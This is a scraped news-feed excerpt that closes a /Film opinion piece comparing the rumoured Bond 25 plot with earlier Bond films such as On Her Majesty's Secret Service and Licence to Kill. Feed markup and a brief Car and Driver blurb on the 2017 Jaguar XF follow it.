Before Craig took on the role, this was the first time we saw a truly helpless and vulnerable James Bond. Unable to pursue the car carrying his wife’s killer, he can only hold her lifeless body in his arms and mutter that they “have all the time in the world.” It’s a heart-wrenching moment, made all the more incredible because Diana Rigg’s performance is fantastic – you truly get that this is the woman who could woo Bond away from the life of killing and spying and drinking and screwing everything that moves.

On Her Majesty’s Secret Service

So if Bond 25 goes down this same route, it’s at an immediate disadvantage. We care when Tracy dies. It’s devastating. We’d all sigh a sigh of relief when Madeleine Swann bites it. She’s so boring.

The big difference here is that the murder of Bond’s wife provides the melancholy ending of On Her Majesty’s Secret Service and this rumor suggest that Bond 25 would open with 007 becoming a widower. However, this also wouldn’t be the first time a Bond movie has been ruled by a personal vendetta. Diamonds Are Forever, in a rare moment of continuity for early Bond movies, opens with James Bond hunting for Blofeld to avenge Tracy’s murder (even though Bond is once again played by Sean Connery and no one ever mentions Tracy’s name). Years later, For Your Eyes Only would open with Bond visiting the grave of his wife, only to be attacked by an unnamed villain who is clearly intended to be Blofeld (transformed into a comedic stooge for some reason).

Licence to Kill

But while it would be easy to compare this premise to Taken, it has a lot in common with 1989’s Licence to Kill, Timothy Dalton’s second and final appearance as James Bond. Although controversial among Bond fans, I happen to be a pretty fan of it: it’s nasty and mean and finds the 007 producers desperately trying to mimic the grimy, violent action movies of the ’80s with fascinating mixed results. It opens with Bond’s best friend Felix Leiter (played by Jeffrey Wright in the new film) getting married, only for a gang of drug dealers to feed his leg to a shark and murder his bride. Bond does the British spy equivalent of turning in his badge and goes rogue, infiltrating the drug cartel and getting his sweet vengeance against those who harmed the people he loves.

In other words, if Page Six’s report turns out to be true (and that’s a big “if”), Bond isn’t going Taken as much as he’s once again looking to the past and remixing his greatest hits. Is this the way to send off Daniel Craig, who probably won’t play the character after this film? That’s a discussion for another day.

The post Bond Watch: Could ‘Bond 25’ Remake ‘On Her Majesty’s Secret Service’? appeared first on /Film.

/Film

]]>
https://briefnews.eu/bond-watch-could-bond-25-remake-on-her-majestys-secret-service/feed/ 0
2017 Jaguar XF: An In-Depth Review of Her Majesty’s Rare and Refined Luxury Mid-Size Sedan https://briefnews.eu/2017-jaguar-xf-an-in-depth-review-of-her-majestys-rare-and-refined-luxury-mid-size-sedan/ https://briefnews.eu/2017-jaguar-xf-an-in-depth-review-of-her-majestys-rare-and-refined-luxury-mid-size-sedan/#respond Fri, 23 Jun 2017 01:24:35 +0000 http://briefnews.eu/2017-jaguar-xf-an-in-depth-review-of-her-majestys-rare-and-refined-luxury-mid-size-sedan/ 2017-Jaguar-XF PLACEMENT

–

The seductive XF exemplifies British tradition with its sophisticated style and refined road manners. The Jag’s design is as beautiful and aggressive as the carmaker’s feline namesake. Its agile chassis and compliant suspension deliver a calm, composed stiff-upper-lip driving character befitting royalty. An efficient diesel inline-four is the base engine; two potent and polished supercharged V-6s are optional, and all three powerplants pair with a decisive eight-speed automatic transmission and rear- or all-wheel drive. The XF provides eye-catching exclusivity and upper-echelon refinement, but membership in Jaguar’s club is expensive. READ MORE ››

–

Car and Driver BlogCar and Driver Blog

]]>
https://briefnews.eu/2017-jaguar-xf-an-in-depth-review-of-her-majestys-rare-and-refined-luxury-mid-size-sedan/feed/ 0